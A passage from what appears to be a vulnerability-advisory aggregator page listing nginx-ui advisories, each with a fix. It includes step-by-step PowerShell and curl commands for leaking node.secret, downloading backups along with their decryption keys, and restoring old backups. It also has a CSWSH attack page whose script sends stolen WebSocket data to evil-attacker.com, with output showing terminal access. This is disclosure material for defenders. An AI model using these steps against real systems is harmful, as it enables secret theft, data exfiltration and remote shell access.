The application prints the username/password for the initial account. [Screenshot 1: password reset output showing the initial username/password] <img width="1919" height="274" alt="image" src="https://github.com/user-attachments/assets/ec37a0f1-8de5-42dd-beee-c6ddac458ab8" />

3.Log in through the browser and capture the JWT token from the login response or the token cookie. [Screenshot 2: browser/devtools showing authenticated session and token] <img width="1535" height="746" alt="image" src="https://github.com/user-attachments/assets/012b65a4-fa51-44a2-a8d0-bcb6a733cffa" />

4.Send: http GET /api/settings Header: Authorization: <raw JWT>

In my reproduction, the response contained:

- node.secret - app.jwtsecret - other settings objects such as openai, oidc, casdoor, nginx, etc.

Example PowerShell: powershell $Base = "http://127.0.0.1:8080" $Jwt = "<captured token>" $authHeaders = @{ Authorization = $Jwt } $settings = Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $authHeaders $nodeSecret = $settings.node.secret $settings | ConvertTo-Json -Depth 20

[Screenshot 3: /api/settings response showing node.secret and app.jwtsecret] <img width="1706" height="978" alt="image" src="https://github.com/user-attachments/assets/25fc3c94-e5b3-4309-8b49-09633fbe3b89" />

<img width="948" height="104" alt="image" src="https://github.com/user-attachments/assets/eca687a5-1e02-42a1-b196-155184db4226" />

5.Verify that the protected route fails without authentication: powershell Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name"

Expected result: 403 Forbidden.

[Screenshot 4: unauthenticated 403] <img width="1261" height="236" alt="image" src="https://github.com/user-attachments/assets/ba302b53-e4f7-414a-9a95-ea2b64a5e05a" />

6.Re-send the same request with only X-Node-Secret: powershell $nodeHeaders = @{ "X-Node-Secret" = $nodeSecret } Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Expected result: 200 OK with a JSON body such as:

{ "name": "" }

[Screenshot 5: successful response using only X-Node-Secret] <img width="1833" height="96" alt="image" src="https://github.com/user-attachments/assets/eef06152-2450-4701-9b06-6997d7ce24f5" />

7.Re-send GET /api/settings using only X-Node-Secret: powershell $settingsViaSecret = Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $nodeHeaders $settingsViaSecret | ConvertTo-Json -Depth 20

Expected result: 200 OK, and the response again includes node.secret.

[Screenshot 6: /api/settings succeeding with only X-Node-Secret] <img width="1708" height="835" alt="image" src="https://github.com/user-attachments/assets/7401ba0e-fb7e-4de8-970a-39f8077c0748" />

8.Use the disclosed node.secret to access the backup endpoint:

powershell $Base = "http://127.0.0.1:8080" $nodeHeaders = @{ "X-Node-Secret" = $nodeSecret }

$r = Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $nodeHeaders -OutFile ".\nginxui-backup.zip" -PassThru $r.StatusCode $r.Headers["X-Backup-Security"] $r.Headers | Format-List

Expected result:

- HTTP status 200 OK - a backup archive is written to disk - the response contains the X-Backup-Security header with backup decryption material in the format: AESKey:AESIv

[Screenshot 7: successful /api/backup download using only X-Node-Secret] <img width="1919" height="823" alt="image" src="https://github.com/user-attachments/assets/f76b8e5d-651b-47e0-a08c-7e2dfc6d4a00" />

9.(Optional validation) Verify that the issue is not dependent on JWT forgery.

I also tested whether the disclosed app.jwtsecret could be used to forge a valid JWT for standard authenticated routes. I generated a forged HS256 JWT using the leaked signing secret and attempted to access protected endpoints with the forged token.

Example PowerShell: powershell $forgedHeaders = @{ Authorization = $ForgedJwt }

Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $forgedHeaders Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $forgedHeaders Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $forgedHeaders -OutFile ".\forged-jwt-backup.zip" -PassThru

Observed result:

- forged JWT access to /api/settings/server/name returned 403 - forged JWT access to /api/settings returned 403 - forged JWT access to /api/backup returned 403

This suggests the standard JWT path is additionally constrained by server-side token lookup and that the confirmed exploitation path is specifically the disclosed node.secret / X-Node-Secret alternate authentication route.

[Screenshot : forged JWT requests returning 403]

<img width="1907" height="967" alt="image" src="https://github.com/user-attachments/assets/c62a074b-bd35-436a-b1b1-6f2c3bff34d2" />

10.Confirm observable rollback of nginx-ui state using a previously captured backup.

First, I captured a backup in state A: powershell $rA = Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $nodeHeaders -OutFile ".\backup-state-A.zip" -PassThru $SecurityTokenA = ($rA.Headers["X-Backup-Security"] | Select-Object -First 1).ToString().Trim()

I then changed node.name through the normal authenticated settings write path to: rollback-poc-B

and verified: Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Observed result: name ---- rollback-poc-B

I then restored the previously captured state-A backup using only X-Node-Secret and the matching backup/security token: powershell curl.exe -i -X POST "$Base/api/restore" -H "X-Node-Secret: $nodeSecret" -F "backupfile=@.\backup-state-A.zip" --form-string "securitytoken=$SecurityTokenA" --form-string "restorenginx=false" --form-string "restorenginxui=true" --form-string "verifyhash=true"

Observed result: powershell {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true}

After waiting a few seconds for the restore to apply, I queried the same setting again: powershell Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Observed result: name ----

This confirmed successful rollback of nginx-ui state/configuration from rollback-poc-B back to the original value using only the disclosed node.secret, a valid backup archive, and the matching X-Backup-Security token.

[Screenshot: node.name / server name before restore showing rollback-poc-B] <img width="1517" height="175" alt="image" src="https://github.com/user-attachments/assets/e358a217-3089-45a1-9e66-87f78958a347" />

[Screenshot: successful restore response showing nginxuirestored:true] <img width="1671" height="423" alt="image" src="https://github.com/user-attachments/assets/5051b4c1-0ad7-4186-8158-fb7da593efef" />

[Screenshot: same setting after restore showing rollback to the original value] <img width="1707" height="319" alt="image" src="https://github.com/user-attachments/assets/eb9b5707-d90a-430e-92f9-6619ddf7f9cd" />

Confirmed observed results

In my local reproduction on v2.3.6:

- GET /api/settings with a normal authenticated session returned: - node.secret = NodeSecret-Lab-123456 - app.jwtsecret = JwtSecret-Lab-123456

- GET /api/settings/server/name without authentication returned 403

- GET /api/settings/server/name with only X-Node-Secret: NodeSecret-Lab-123456 returned 200

- GET /api/settings with only X-Node-Secret returned 200

- GET /api/backup with only X-Node-Secret returned 200

- /api/backup returned both: - a backup archive - the X-Backup-Security response header containing backup decryption material

- POST /api/restore without authentication failed with: json {"message":"Authorization failed"}

POST /api/restore with only X-Node-Secret, a valid backup archive, and the matching X-Backup-Security token returned: {"nginxuirestored":false,"nginxrestored":false,"hashmatch":true} after changing node.name to rollback-poc-B, GET /api/settings/server/name returned: rollback-poc-B restoring a previously captured backup using only X-Node-Secret and the matching X-Backup-Security token returned: {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true} after restore, GET /api/settings/server/name returned the original empty value, confirming rollback of nginx-ui state/configuration forged JWT requests signed with the leaked app.jwtsecret failed with 403 on the tested standard protected routes

Impact The confirmed impact is:

1. Sensitive settings disclosure An authenticated caller can retrieve sensitive configuration values through GET /api/settings, including: - node.secret - app.jwtsecret - other secret-bearing settings objects depending on deployment and enabled integrations

2. Alternate-authentication abuse The disclosed node.secret can be reused through X-Node-Secret (or nodesecret) to satisfy AuthRequired() and enter the trusted-node / init-user authentication path.

3. Trust-boundary bypass An ordinary authenticated user can cross from the normal JWT/cookie-based user path into the internal node-authentication path.

4. Full backup exfiltration After crossing that boundary, the attacker can access GET /api/backup and download the application's backup archive.

5. Backup decryption material disclosure The same /api/backup response also includes the X-Backup-Security header containing the decryption material (AESKey:AESIv), allowing the attacker to decrypt the exported backup contents.

6. Restore workflow invocation through the trusted-node path The disclosed node.secret is sufficient to reach POST /api/restore on an installed instance when combined with a valid backup archive and matching X-Backup-Security token.

7. Confirmed rollback of nginx-ui state/configuration In my lab, I changed node.name to rollback-poc-B, then restored a previously captured backup using only X-Node-Secret and the matching backup/security token pair. After restore, the value reverted to its original state. This confirms real integrity impact through rollback of nginx-ui state/configuration.

8. Potential service disruption / operational impact Because restore operations can trigger nginx-ui and/or nginx restart behavior depending on the selected restore options, abuse of the restore workflow may also create operational disruption in addition to confidentiality and integrity impact.

9. Potential downstream compromise Depending on deployment and configured integrations, the exposed settings and exported backups may contain additional sensitive information such as: - JWT signing secrets - node secrets - third-party API credentials - OIDC / Casdoor / OpenAI configuration - operational configuration data and other stored secrets

Notes on JWT forgery testing

I also tested whether the disclosed app.jwtsecret could be used for successful forged JWT access on standard authenticated routes. In my reproduction, forged HS256 JWTs signed with the leaked secret were rejected with 403 on /api/settings/server/name, /api/settings, and /api/backup.

This indicates that the confirmed exploitation path is the disclosed node.secret and the X-Node-Secret trusted-node authentication route, not direct JWT forgery on standard routes.

This matters because the confirmed impact already includes: - backup exfiltration - disclosure of backup decryption material - successful restore invocation - rollback of nginx-ui state/configuration

without needing forged JWTs.

Recommended fix 1. Do not return secret-bearing settings fields from GET /api/settings. Replace the current raw response with a redacted DTO. At minimum, do not expose: - node.secret - app.jwtsecret - provider / API / client secrets - any other secret-bearing settings fields

2. Require stronger authorization for settings read operations. If /api/settings is intended only for trusted administrators or internal operators, enforce that explicitly instead of relying only on the generic authenticated middleware.

3. Do not use a secret retrievable from a user-facing API as an authentication credential. The node secret should be scoped strictly to node-to-node communication and must never be readable through ordinary user-facing settings APIs.

4. Reassess use of X-Node-Secret as a full alternate-authentication mechanism. If this mechanism must exist, it should be isolated from user-facing routes and should not map directly to privileged request context without additional scoping or separation.

5. Protect backup functionality against alternate-authentication abuse. /api/backup should not be reachable through a secret that can be disclosed via /api/settings.

6. Protect restore functionality against trusted-node secret abuse. On installed instances, /api/restore should not be invocable through a node secret disclosed from a user-facing API. Restore should require a stronger admin-only authorization model and should not be reachable through the same alternate-authentication path used for node trust.

7. Do not return backup decryption material in the same response as the backup file. The current X-Backup-Security header exposes decryption material together with the encrypted archive, which defeats the security goal of backup encryption when the endpoint is reached by an unauthorized actor.

8. Consider requiring explicit re-authentication / secure-session semantics for restore. Restore is a high-impact state-changing action and should be protected at least as strongly as other sensitive write operations.

9. Rotate compromised secrets on upgrade/fix. After patching, rotate: - node secret - JWT signing secret - backup encryption material - any third-party credentials or secrets exposed through /api/settings or backup exports

10. Audit all settings objects returned by GetSettings() for secret leakage. The current response includes multiple settings objects (app, node, openai, oidc, casdoor, etc.), so the remediation should be systematic rather than field-by-field only.

A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8.

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.0.0-beta.36, the log path of nginxui is controllable. This issue can be combined with the directory traversal at /api/configs to read directories and file contents on the server. Version 2.0.0-beta.36 fixes the issue.

First published (updated )
Severity
5.5
CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.

Details

Vulnerable Code Pattern

Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:

go // Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go, // api/nginxlog/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go, // api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go, // api/llm/llm.go, api/llm/codecompletion.go, api/system/upgrade.go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { return true // Accepts ALL origins }, }

Cookie-Based Authentication

The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):

typescript watch(token, v => { cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite })

The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):

go func getToken(c gin.Context) (token string) { // ... if token, = c.Cookie("token"); token != "" { return token } return "" }

Affected Endpoints

All WebSocket endpoints under the authenticated router group are vulnerable:

| Endpoint | Impact | |---|---| | /api/nginx/detailstatus/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginxlog | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data |

PoC

Environment Setup

yaml services: nginx-ui: image: uozi/nginx-ui:latest ports: - "9000:80" volumes: - nginx-ui-config:/etc/nginx-ui volumes: nginx-ui-config:

Attack Page (hosted on attacker-controlled domain)

html <script> // Attacker page at http://evil-attacker.com // Victim must be logged into nginx-ui const ws = new WebSocket('ws://TARGETNGINXUI:9000/api/nginx/detailstatus/ws'); ws.onopen = () => console.log('CSWSH: Connected from malicious origin!'); ws.onmessage = (e) => { console.log('Stolen data:', e.data); fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data}); }; </script>

Automated PoC Results

[+] VULNERABLE! WebSocket connected from http://evil-attacker.com [+] Received: {"stubstatusenabled":false,"running":true,"info":{"active":0,...}}

[+] VULNERABLE! Event stream from http://evil-attacker.com [+] Received: {"event":"processingstatus","data":{"indexscanning":false,...}}

[+] VULNERABLE! Analytics from http://evil-attacker.com [+] Received: {"avgload":{"load1":0.1,"load5":0.2},"cpupercent":0.08,...}

[+] CRITICAL: Terminal connected from http://evil-attacker.com! [+] Terminal output: 'eae7a76e3ef4 login: ' [] Sent username: root [+] Output: 'Password: '

[+] Control test (no auth): Correctly rejected with HTTP 403

Impact

An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:

1. Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events 2. Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens 3. Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution 4. Triggers system operations -- including nginx reload/restart and binary upgrades

The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.

Remediation

1. Implement proper origin validation in all WebSocket upgraders:

go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { origin := r.Header.Get("Origin") return isAllowedOrigin(origin) }, }

2. Set secure cookie attributes: typescript cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })

3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.

A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203